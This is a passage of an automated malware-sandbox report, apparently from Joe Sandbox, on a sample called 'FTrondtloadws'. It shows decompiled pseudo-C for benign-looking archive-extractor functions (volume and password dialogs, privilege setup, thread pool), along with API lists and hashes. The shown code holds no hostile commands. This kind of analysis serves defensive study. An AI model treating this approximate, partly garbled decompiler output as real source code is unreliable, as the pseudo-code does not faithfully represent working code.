					_t133 =  *((intOrPtr*)(_t75 + 8));
					if( *((intOrPtr*)(_t75 + 8)) != 0) {
						__imp__EncodePointer(0);
						_t121 = _t75;
						if( *((intOrPtr*)(E00CE3ACC(_t96, __ecx, __edx, 0, _t121, _t133) + 8)) != _t121 &&  *_t96 != 0xe0434f4d &&  *_t96 != 0xe0434352) {
							_t87 = E00CE1227(__edx, 0, _t121, _t96, _a8, _a12, _a16, _a20, _a28, _a32);
							_t130 = _t130 + 0x1c;
							if(_t87 != 0) {
								L16:
								return _t87;
							}
						}
					}
					_t76 = _a20;
					_v24 = _t76;
					_v20 = 0;
					if( *((intOrPtr*)(_t76 + 0xc)) > 0) {
						_push(_a28);
						E00CE115A(_t96, _t100, 0, _t121,  &_v40,  &_v24, _a24, _a16, _t76);
						_t112 = _v36;
						_t131 = _t130 + 0x18;
						_t87 = _v40;
						_v16 = _t87;
						_v8 = _t112;
						if(_t112 < _v28) {
							_t102 = _t112 * 0x14;
							_v12 = _t102;
							do {
								_t103 = 5;
								_t90 = memcpy( &_v60,  *((intOrPtr*)( *_t87 + 0x10)) + _t102, _t103 << 2);
								_t131 = _t131 + 0xc;
								if(_v60 <= _t90 && _t90 <= _v56) {
									_t93 = _v44 + 0xfffffff0 + (_v48 << 4);
									_t108 = _t93[4];
									if(_t108 == 0 ||  *((char*)(_t108 + 8)) == 0) {
										if(( *_t93 & 0x00000040) == 0) {
											_push(0);
											_push(1);
											E00CE3D91(_t112, _t96, _a8, _a12, _a16, _a20, _t93, 0,  &_v60, _a28, _a32);
											_t112 = _v8;
											_t131 = _t131 + 0x30;
										}
									}
								}
								_t112 = _t112 + 1;
								_t87 = _v16;
								_t102 = _v12 + 0x14;
								_v8 = _t112;
								_v12 = _t102;
							} while (_t112 < _v28);
						}
						goto L16;
					}
					E00CE9F44(_t96, _t110, 0, _t121);
					asm("int3");
					_t111 = _v68;
					_push(_t96);
					_push(_t121);
					_push(0);
					_t78 = _t111[4];
					__eflags = _t78;
					if(_t78 == 0) {
						L41:
						_t80 = 1;
						__eflags = 1;
					} else {
						_t101 = _t78 + 8;
						__eflags =  *_t101;
						if( *_t101 == 0) {
							goto L41;
						} else {
							__eflags =  *_t111 & 0x00000080;
							_t116 = _a4;
							if(( *_t111 & 0x00000080) == 0) {
								L23:
								_t97 = _t116[4];
								_t123 = 0;
								__eflags = _t78 - _t97;
								if(_t78 == _t97) {
									L33:
									__eflags =  *_t116 & 0x00000002;
									if(( *_t116 & 0x00000002) == 0) {
										L35:
										_t81 = _a8;
										__eflags =  *_t81 & 0x00000001;
										if(( *_t81 & 0x00000001) == 0) {
											L37:
											__eflags =  *_t81 & 0x00000002;
											if(( *_t81 & 0x00000002) == 0) {
												L39:
												_t123 = 1;
												__eflags = 1;
											} else {
												__eflags =  *_t111 & 0x00000002;
												if(( *_t111 & 0x00000002) != 0) {
													goto L39;
												}
											}
										} else {
											__eflags =  *_t111 & 0x00000001;
											if(( *_t111 & 0x00000001) != 0) {
												goto L37;
											}
										}
									} else {
										__eflags =  *_t111 & 0x00000008;
										if(( *_t111 & 0x00000008) != 0) {
											goto L35;
										}
									}
									_t80 = _t123;
								} else {
									_t59 = _t97 + 8; // 0x6e
									_t82 = _t59;
									while(1) {
										_t98 =  *_t101;
										__eflags = _t98 -  *_t82;
										if(_t98 !=  *_t82) {
											break;
										}
										__eflags = _t98;
										if(_t98 == 0) {
											L29:
											_t83 = _t123;
										} else {
											_t99 =  *((intOrPtr*)(_t101 + 1));
											__eflags = _t99 -  *((intOrPtr*)(_t82 + 1));
											if(_t99 !=  *((intOrPtr*)(_t82 + 1))) {
												break;
											} else {
												_t101 = _t101 + 2;
												_t82 = _t82 + 2;
												__eflags = _t99;
												if(_t99 != 0) {
													continue;
												} else {
													goto L29;
												}
											}
										}
										L31:
										__eflags = _t83;
										if(_t83 == 0) {
											goto L33;
										} else {
											_t80 = 0;
										}
										goto L42;
									}
									asm("sbb eax, eax");
									_t83 = _t82 | 0x00000001;
									__eflags = _t83;
									goto L31;
								}
							} else {
								__eflags =  *_t116 & 0x00000010;
								if(( *_t116 & 0x00000010) != 0) {
									goto L41;
								} else {
									goto L23;
								}
							}
						}
					}
					L42:
					return _t80;
				}
			}

0x00ce41b6
0x00ce41b6
0x00ce41bd
0x00ce41c0
0x00ce41c6
0x00ce42e5
0x00ce41cc
0x00ce41cc
0x00ce41cd
0x00ce41ce
0x00ce41d5
0x00ce41d8
0x00ce41db
0x00ce41e1
0x00ce41eb
0x00ce4210
0x00ce4215
0x00ce421a
0x00ce42e1
0x00000000
0x00ce42e2
0x00ce421a
0x00ce41eb
0x00ce4220
0x00ce4223
0x00ce4226
0x00ce422c
0x00ce4232
0x00ce4244
0x00ce4249
0x00ce424c
0x00ce424f
0x00ce4252
0x00ce4255
0x00ce425b
0x00ce4261
0x00ce4264
0x00ce4267
0x00ce4276
0x00ce4277
0x00ce4277
0x00ce427c
0x00ce428f
0x00ce4291
0x00ce4296
0x00ce42a1
0x00ce42a3
0x00ce42a5
0x00ce42c1
0x00ce42c6
0x00ce42c9
0x00ce42c9
0x00ce42a1
0x00ce4296
0x00ce42cf
0x00ce42d0
0x00ce42d3
0x00ce42d6
0x00ce42d9
0x00ce42dc
0x00ce4267
0x00000000
0x00ce425b
0x00ce42e6
0x00ce42eb
0x00ce42ef
0x00ce42f2
0x00ce42f3
0x00ce42f4
0x00ce42f5
0x00ce42f8
0x00ce42fa
0x00ce4372
0x00ce4374
0x00ce4374
0x00ce42fc
0x00ce42fc
0x00ce42ff
0x00ce4302
0x00000000
0x00ce4304
0x00ce4304
0x00ce4307
0x00ce430a
0x00ce4311
0x00ce4311
0x00ce4314
0x00ce4316
0x00ce4318
0x00ce434a
0x00ce434a
0x00ce434d
0x00ce4354
0x00ce4354
0x00ce4357
0x00ce435a
0x00ce4361
0x00ce4361
0x00ce4364
0x00ce436b
0x00ce436d
0x00ce436d
0x00ce4366
0x00ce4366
0x00ce4369
0x00000000
0x00000000
0x00ce4369
0x00ce435c
0x00ce435c
0x00ce435f
0x00000000
0x00000000
0x00ce435f
0x00ce434f
0x00ce434f
0x00ce4352
0x00000000
0x00000000
0x00ce4352
0x00ce436e
0x00ce431a
0x00ce431a
0x00ce431a
0x00ce431d
0x00ce431d
0x00ce431f
0x00ce4321
0x00000000
0x00000000
0x00ce4323
0x00ce4325
0x00ce4339
0x00ce4339
0x00ce4327
0x00ce4327
0x00ce432a
0x00ce432d
0x00000000
0x00ce432f
0x00ce432f
0x00ce4332
0x00ce4335
0x00ce4337
0x00000000
0x00000000
0x00000000
0x00000000
0x00ce4337
0x00ce432d
0x00ce4342
0x00ce4342
0x00ce4344
0x00000000
0x00ce4346
0x00ce4346
0x00ce4346
0x00000000
0x00ce4344
0x00ce433d
0x00ce433f
0x00ce433f
0x00000000
0x00ce433f
0x00ce430c
0x00ce430c
0x00ce430f
0x00000000
0x00000000
0x00000000
0x00000000
0x00ce430f
0x00ce430a
0x00ce4302
0x00ce4375
0x00ce4379
0x00ce4379

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 00CE41DB
_abort.LIBCMT ref: 00CE42E6

Strings

MOC, xrefs: 00CE41ED
RCC, xrefs: 00CE41F5

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: EncodePointer_abort
String ID: MOC$RCC
API String ID: 948111806-2084237596
Opcode ID: 75e3adc4e61044d050c29e0bd11e4cf1f77286785a575fc0953eed302dcb5d1e
Instruction ID: 0674acc99cf64a1e3329abee676c0c23ede8cdf33faa5544aa631da1dfbd92eb
Opcode Fuzzy Hash: 75e3adc4e61044d050c29e0bd11e4cf1f77286785a575fc0953eed302dcb5d1e
Instruction Fuzzy Hash: EC41AC31900289AFCF1ACF99DC81EEEBBB5FF48304F188199FA14A7211D335AA50DB54

Uniqueness

Uniqueness Score: -1.00%

Function 00CC7EFB Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 92
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E00CC7EFB(void* __ebx, void* __edi, void* __esi) {
				void* _t24;
				long _t30;
				void* _t37;
				intOrPtr _t38;
				void* _t49;
				void* _t50;
				void* _t53;

				_t49 = __esi;
				_t37 = __ebx;
				E00CDFD4C(0xcf36aa, _t53);
				E00CDFE20(0x1010);
				 *((intOrPtr*)(_t53 - 0x1c)) = 0;
				 *((intOrPtr*)(_t53 - 0x18)) = 0;
				 *((intOrPtr*)(_t53 - 0x14)) = 0;
				 *((intOrPtr*)(_t53 - 0x10)) = 0;
				_t46 =  *((intOrPtr*)(_t53 + 8));
				_push(0);
				_push(0);
				 *((intOrPtr*)(_t53 - 4)) = 0;
				_push(_t53 - 0x1c);
				_t24 = E00CC42DA( *((intOrPtr*)(_t53 + 8)));
				if(_t24 != 0) {
					if( *0xd03062 == 0) {
						if(E00CC86E4(L"SeSecurityPrivilege") != 0) {
							 *0xd03061 = 1;
						}
						E00CC86E4(L"SeRestorePrivilege");
						 *0xd03062 = 1;
					}
					_push(_t49);
					_t50 = 7;
					if( *0xd03061 != 0) {
						_t50 = 0xf;
					}
					_t38 =  *((intOrPtr*)(_t53 - 0x1c));
					_t24 =  *0xd25000( *((intOrPtr*)(_t53 + 0xc)), _t50, _t38, _t37);
					if(_t24 == 0) {
						if(E00CCCF12( *((intOrPtr*)(_t53 + 0xc)), _t53 - 0x101c, 0x800) == 0) {
							L10:
							E00CC7976(0x52, _t46 + 0x32, _t53 + 0xc);
							_t30 = GetLastError();
							E00CC7851(_t62);
							if(_t30 == 5 && E00CD1AB5() == 0) {
								E00CC232E(0x18);
							}
							_t24 = E00CC7809(0xd030c4, 1);
						} else {
							_t24 =  *0xd25000(_t53 - 0x101c, _t50, _t38);
							_t62 = _t24;
							if(_t24 == 0) {
								goto L10;
							}
						}
					}
				}
				if( *((intOrPtr*)(_t53 - 0x1c)) != 0) {
					_t24 = L00CE5069( *((intOrPtr*)(_t53 - 0x1c)));
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t53 - 0xc));
				return _t24;
			}

0x00cc7efb
0x00cc7efb
0x00cc7f00
0x00cc7f0a
0x00cc7f12
0x00cc7f15
0x00cc7f18
0x00cc7f1b
0x00cc7f1e
0x00cc7f23
0x00cc7f24
0x00cc7f25
0x00cc7f2b
0x00cc7f2c
0x00cc7f33
0x00cc7f40
0x00cc7f4e
0x00cc7f50
0x00cc7f50
0x00cc7f5c
0x00cc7f61
0x00cc7f61
0x00cc7f6f
0x00cc7f72
0x00cc7f73
0x00cc7f77
0x00cc7f77
0x00cc7f79
0x00cc7f81
0x00cc7f89
0x00cc7fa1
0x00cc7fb6
0x00cc7fc0
0x00cc7fc5
0x00cc7fd4
0x00cc7fdc
0x00cc7fe9
0x00cc7fe9
0x00cc7ff2
0x00cc7fa3
0x00cc7fac
0x00cc7fb2
0x00cc7fb4
0x00000000
0x00000000
0x00cc7fb4
0x00cc7fa1
0x00cc7ff8
0x00cc7ffe
0x00cc8003
0x00cc8008
0x00cc800c
0x00cc8014

APIs

__EH_prolog.LIBCMT ref: 00CC7F00

Part of subcall function 00CC42DA: __EH_prolog.LIBCMT ref: 00CC42DF

GetLastError.KERNEL32(?,?,00000800,?,?,?,00000000,00000000), ref: 00CC7FC5

Part of subcall function 00CC86E4: GetCurrentProcess.KERNEL32(00000020,?), ref: 00CC86F3
Part of subcall function 00CC86E4: GetLastError.KERNEL32 ref: 00CC8739
Part of subcall function 00CC86E4: CloseHandle.KERNEL32(?), ref: 00CC8748

Strings

SeRestorePrivilege, xrefs: 00CC7F57
SeSecurityPrivilege, xrefs: 00CC7F42

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: ErrorH_prologLast$CloseCurrentHandleProcess
String ID: SeRestorePrivilege$SeSecurityPrivilege
API String ID: 3813983858-639343689
Opcode ID: 8233b5e3d1a37457faf77bd4f709917bf42696145f267f4960c7d161e0a33927
Instruction ID: 5b6b46b801a857e4622d67078eed986da065209ad78ba7624955b717fd2581bc
Opcode Fuzzy Hash: 8233b5e3d1a37457faf77bd4f709917bf42696145f267f4960c7d161e0a33927
Instruction Fuzzy Hash: 7E31A071904248AAEF60EFA4DC46FFFBBA9EB04344F00412EF558E6281DA748A45DB61

Uniqueness

Uniqueness Score: -1.00%

Function 00CDBDB0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E00CDBDB0(void* __ecx, void* __edx, void* __eflags, struct HWND__* _a4, intOrPtr _a8, signed short _a12, WCHAR** _a16) {
				void* _t12;
				void* _t16;
				void* _t19;
				void* _t22;
				WCHAR** _t24;
				intOrPtr _t27;
				void* _t28;
				struct HWND__* _t30;
				signed short _t31;

				_t24 = _a16;
				_t31 = _a12;
				_t30 = _a4;
				_t27 = _a8;
				if(E00CC12F6(__edx, _t30, _t27, _t31, _t24, L"ASKNEXTVOL", 0, 0) != 0) {
					L14:
					__eflags = 1;
					return 1;
				}
				_t28 = _t27 - 0x110;
				if(_t28 == 0) {
					_push( *_t24);
					 *0xd23cf0 = _t24;
					L13:
					SetDlgItemTextW(_t30, 0x66, ??);
					goto L14;
				}
				if(_t28 != 1) {
					L6:
					return 0;
				}
				_t12 = (_t31 & 0x0000ffff) - 1;
				if(_t12 == 0) {
					GetDlgItemTextW(_t30, 0x66,  *( *0xd23cf0), ( *0xd23cf0)[1]);
					_push(1);
					L10:
					EndDialog(_t30, ??);
					goto L14;
				}
				_t16 = _t12 - 1;
				if(_t16 == 0) {
					_push(0);
					goto L10;
				}
				if(_t16 == 0x65) {
					_t19 = E00CCD687(__eflags,  *( *0xd23cf0));
					_t22 = E00CC10E0(_t30, E00CCF917(0x8e),  *( *0xd23cf0), _t19, 0);
					__eflags = _t22;
					if(_t22 == 0) {
						goto L14;
					}
					_push( *( *0xd23cf0));
					goto L13;
				}
				goto L6;
			}

0x00cdbdb1
0x00cdbdb6
0x00cdbdbb
0x00cdbdc0
0x00cdbdd8
0x00cdbe68
0x00cdbe6a
0x00000000
0x00cdbe6a
0x00cdbdde
0x00cdbde4
0x00cdbe57
0x00cdbe59
0x00cdbe5f
0x00cdbe62
0x00000000
0x00cdbe62
0x00cdbde9
0x00cdbdfd
0x00000000
0x00cdbdfd
0x00cdbdee
0x00cdbdf1
0x00cdbe4d
0x00cdbe53
0x00cdbe37
0x00cdbe38
0x00000000
0x00cdbe38
0x00cdbdf3
0x00cdbdf6
0x00cdbe35
0x00000000
0x00cdbe35
0x00cdbdfb
0x00cdbe0a
0x00cdbe23
0x00cdbe28
0x00cdbe2a
0x00000000
0x00000000
0x00cdbe31
0x00000000
0x00cdbe31
0x00000000

APIs

Part of subcall function 00CC12F6: GetDlgItem.USER32(00000000,00003021), ref: 00CC133A
Part of subcall function 00CC12F6: SetWindowTextW.USER32(00000000,00CF45F4), ref: 00CC1350

EndDialog.USER32(?,00000001), ref: 00CDBE38
GetDlgItemTextW.USER32(?,00000066,?,?), ref: 00CDBE4D
SetDlgItemTextW.USER32(?,00000066,?), ref: 00CDBE62

Strings

ASKNEXTVOL, xrefs: 00CDBDC8

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: ASKNEXTVOL
API String ID: 445417207-3402441367
Opcode ID: 5b8c4cc637d1d88f7eac7373a9042639dfd64d2fa706360fb06726f006e027a5
Instruction ID: 24817aa4c2b51d495a4e1a1ddb4437dc6b1a26042d8b431d19cf14cb3b22f6cd
Opcode Fuzzy Hash: 5b8c4cc637d1d88f7eac7373a9042639dfd64d2fa706360fb06726f006e027a5
Instruction Fuzzy Hash: D6110332200311FFD6219F69ED06FA677A9EB6AB00F010016F740EB7B5C7229E02A775

Uniqueness

Uniqueness Score: -1.00%

Function 00CCEBEC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67
COMMON

Download Yara Rule

C-Code - Quality: 57%

			E00CCEBEC(void* __ebx, void* __ecx, void* __edx) {
				void* __esi;
				void* _t22;
				intOrPtr _t26;
				signed int* _t30;
				void* _t33;
				void* _t41;
				void* _t43;
				void* _t45;
				void* _t47;
				void* _t49;
				void* _t50;

				_t43 = __edx;
				_t42 = __ecx;
				_t41 = __ebx;
				_t47 = _t49 - 0x64;
				_t50 = _t49 - 0xac;
				_t45 = __ecx;
				if( *((intOrPtr*)(__ecx + 0x24)) <= 0) {
					L12:
					_t22 = 0;
				} else {
					 *((intOrPtr*)(_t47 + 0x5c)) =  *((intOrPtr*)(_t47 + 0x6c));
					 *((char*)(_t47 + 8)) = 0;
					 *((intOrPtr*)(_t47 + 0x60)) = _t47 + 8;
					if( *((intOrPtr*)(_t47 + 0x74)) != 0) {
						E00CD30C5( *((intOrPtr*)(_t47 + 0x74)), _t47 - 0x48, 0x50);
					}
					_t26 =  *((intOrPtr*)(_t47 + 0x70));
					if(_t26 == 0) {
						E00CD18AD(_t47 + 8, "s", 0x50);
					} else {
						_t33 = _t26 - 1;
						if(_t33 == 0) {
							_push(_t47 - 0x48);
							_push("$%s");
							goto L8;
						} else {
							if(_t33 == 1) {
								_push(_t47 - 0x48);
								_push("@%s");
								L8:
								_push(0x50);
								_push(_t47 + 8);
								E00CCF8B1();
								_t50 = _t50 + 0x10;
							}
						}
					}
					_t30 = E00CE73C1(_t41, _t42, _t43, _t45, _t47 + 0x58,  *((intOrPtr*)(_t45 + 0x10)),  *((intOrPtr*)(_t45 + 0x14)), 4, E00CCEA10);
					if(_t30 == 0) {
						goto L12;
					} else {
						_t20 = 0xd00278 +  *_t30 * 0xc; // 0xcf582c
						E00CE7A30( *((intOrPtr*)(_t47 + 0x78)),  *_t20,  *((intOrPtr*)(_t47 + 0x7c)));
						_t22 = 1;
					}
				}
				return _t22;
			}

0x00ccebec
0x00ccebec
0x00ccebec
0x00ccebed
0x00ccebf1
0x00ccebf8
0x00ccebfe
0x00cceca6
0x00cceca6
0x00ccec04
0x00ccec0b
0x00ccec11
0x00ccec15
0x00ccec18
0x00ccec23
0x00ccec23
0x00ccec2b
0x00ccec2e
0x00ccec69
0x00ccec30
0x00ccec30
0x00ccec33
0x00ccec48
0x00ccec49
0x00000000
0x00ccec35
0x00ccec38
0x00ccec3d
0x00ccec3e
0x00ccec4e
0x00ccec51
0x00ccec53
0x00ccec54
0x00ccec59
0x00ccec59
0x00ccec38
0x00ccec33
0x00ccec7f
0x00ccec89
0x00000000
0x00ccec8b
0x00ccec91
0x00ccec9a
0x00cceca2
0x00cceca2
0x00ccec89
0x00ccecad

APIs

__fprintf_l.LIBCMT ref: 00CCEC54
_strncpy.LIBCMT ref: 00CCEC9A

Part of subcall function 00CD30C5: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,?,00000000,00000000,?,00D03070,?,00CCEC28,00000000,?,00000050,00D03070), ref: 00CD30E2

Strings

@%s, xrefs: 00CCEC3E
$%s, xrefs: 00CCEC49

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: ByteCharMultiWide__fprintf_l_strncpy
String ID: $%s$@%s
API String ID: 562999700-834177443
Opcode ID: 90496a0468fcad4c1f0aa7f194a501fba66a37f05d48e34b10ded0d360e3726a
Instruction ID: 7b69db32ff985509a36612ef6cbf830f16f0c5ffa4cca48c7088feba6b2727fa
Opcode Fuzzy Hash: 90496a0468fcad4c1f0aa7f194a501fba66a37f05d48e34b10ded0d360e3726a
Instruction Fuzzy Hash: 2821727254030CAEEB20DFA5CD45FEF3BE8AF06300F04052AFA2596191E771D655EB51

Uniqueness

Uniqueness Score: -1.00%

Function 00CD213F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00CD213F(long* __ecx, long _a4) {
				void* __esi;
				void* __ebp;
				long _t11;
				void* _t14;
				long _t23;
				long* _t25;

				_t19 = __ecx;
				_t11 = _a4;
				_t25 = __ecx;
				_t23 = 0x40;
				 *__ecx = _t11;
				if(_t11 <= _t23) {
					__eflags = _t11;
					if(__eflags == 0) {
						 *__ecx = 1;
						_t11 = 1;
					}
				} else {
					 *__ecx = _t23;
					_t11 = _t23;
				}
				_t25[0x41] = 0;
				if(_t11 > _t23) {
					 *_t25 = _t23;
				}
				_t3 =  &(_t25[0xc8]); // 0x320
				_t25[0xc5] = 0;
				InitializeCriticalSection(_t3);
				_t25[0xc6] = CreateSemaphoreW(0, 0, _t23, 0);
				_t14 = CreateEventW(0, 1, 1, 0);
				_t25[0xc7] = _t14;
				if(_t25[0xc6] == 0) {
					L8:
					_push(L"\nThread pool initialization failed.");
					_push(0xd030c4);
					E00CC76C4(E00CC76C9(_t19, _t31), 0xd030c4, _t25, 2);
					goto L9;
				} else {
					_t31 = _t14;
					if(_t14 != 0) {
						L9:
						_t25[0xc3] = 0;
						_t25[0xc4] = 0;
						_t25[0x42] = 0;
						return _t25;
					}
					goto L8;
				}
			}

0x00cd213f
0x00cd213f
0x00cd2147
0x00cd214d
0x00cd214f
0x00cd2153
0x00cd215b
0x00cd215d
0x00cd215f
0x00cd2161
0x00cd2161
0x00cd2155
0x00cd2155
0x00cd2157
0x00cd2157
0x00cd2165
0x00cd216d
0x00cd216f
0x00cd216f
0x00cd2171
0x00cd2177
0x00cd217e
0x00cd2192
0x00cd2198
0x00cd219e
0x00cd21aa
0x00cd21b0
0x00cd21b0
0x00cd21ba
0x00cd21c6
0x00000000
0x00cd21ac
0x00cd21ac
0x00cd21ae
0x00cd21cc
0x00cd21cc
0x00cd21d4
0x00cd21da
0x00cd21e3
0x00cd21e3
0x00000000
0x00cd21ae

APIs

InitializeCriticalSection.KERNEL32(00000320,00000000,?,?,?,00CCC02A,00000008,?,00000000,?,00CCE665,?,00000000), ref: 00CD217E
CreateSemaphoreW.KERNEL32(00000000,00000000,00000040,00000000,?,?,?,00CCC02A,00000008,?,00000000,?,00CCE665,?,00000000), ref: 00CD2188
CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,?,?,?,00CCC02A,00000008,?,00000000,?,00CCE665,?,00000000), ref: 00CD2198

Strings

Thread pool initialization failed., xrefs: 00CD21B0

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: Create$CriticalEventInitializeSectionSemaphore
String ID: Thread pool initialization failed.
API String ID: 3340455307-2182114853
Opcode ID: fe5ddb419b191ff70d543beba2c250157c98707b4aa1bd3d90629352c6961db9
Instruction ID: 6edcb07613ee11715b4ff801adf2191f807071d35e70b1cb872938d378c81b49
Opcode Fuzzy Hash: fe5ddb419b191ff70d543beba2c250157c98707b4aa1bd3d90629352c6961db9
Instruction Fuzzy Hash: 001154B1604709AFC3215F6A9C84AABFBECEB65754F10482EF3DAC3240DA715A408B64

Uniqueness

Uniqueness Score: -1.00%

Function 00CDC300 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E00CDC300(void* __ecx, void* __edx, void* __eflags, struct HWND__* _a4, intOrPtr _a8, signed short _a12, WCHAR* _a16) {
				short _v1028;
				void* __ebx;
				void* _t15;
				signed short _t24;
				struct HWND__* _t28;
				intOrPtr _t29;
				void* _t30;

				_t24 = _a12;
				_t29 = _a8;
				_t28 = _a4;
				if(E00CC12F6(__edx, _t28, _t29, _t24, _a16, L"GETPASSWORD1", 0, 0) != 0) {
					L10:
					return 1;
				}
				_t30 = _t29 - 0x110;
				if(_t30 == 0) {
					SetDlgItemTextW(_t28, 0x67, _a16);
					goto L10;
				}
				if(_t30 != 1) {
					L5:
					return 0;
				}
				_t15 = (_t24 & 0x0000ffff) - 1;
				if(_t15 == 0) {
					GetDlgItemTextW(_t28, 0x66,  &_v1028, 0x200);
					E00CD072B(_t24, 0xd20ca0,  &_v1028);
					E00CD0764( &_v1028, 0x200);
					_push(1);
					L7:
					EndDialog(_t28, ??);
					goto L10;
				}
				if(_t15 == 1) {
					_push(0);
					goto L7;
				}
				goto L5;
			}

0x00cdc30a
0x00cdc30e
0x00cdc312
0x00cdc32b
0x00cdc39a
0x00000000
0x00cdc39c
0x00cdc32d
0x00cdc333
0x00cdc394
0x00000000
0x00cdc394
0x00cdc338
0x00cdc347
0x00000000
0x00cdc347
0x00cdc33d
0x00cdc340
0x00cdc366
0x00cdc378
0x00cdc385
0x00cdc38a
0x00cdc34d
0x00cdc34e
0x00000000
0x00cdc34e
0x00cdc345
0x00cdc34b
0x00000000
0x00cdc34b
0x00000000

APIs

Part of subcall function 00CC12F6: GetDlgItem.USER32(00000000,00003021), ref: 00CC133A
Part of subcall function 00CC12F6: SetWindowTextW.USER32(00000000,00CF45F4), ref: 00CC1350

EndDialog.USER32(?,00000001), ref: 00CDC34E
GetDlgItemTextW.USER32(?,00000066,?,00000200), ref: 00CDC366
SetDlgItemTextW.USER32(?,00000067,?), ref: 00CDC394

Strings

GETPASSWORD1, xrefs: 00CDC319

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: ItemText$DialogWindow
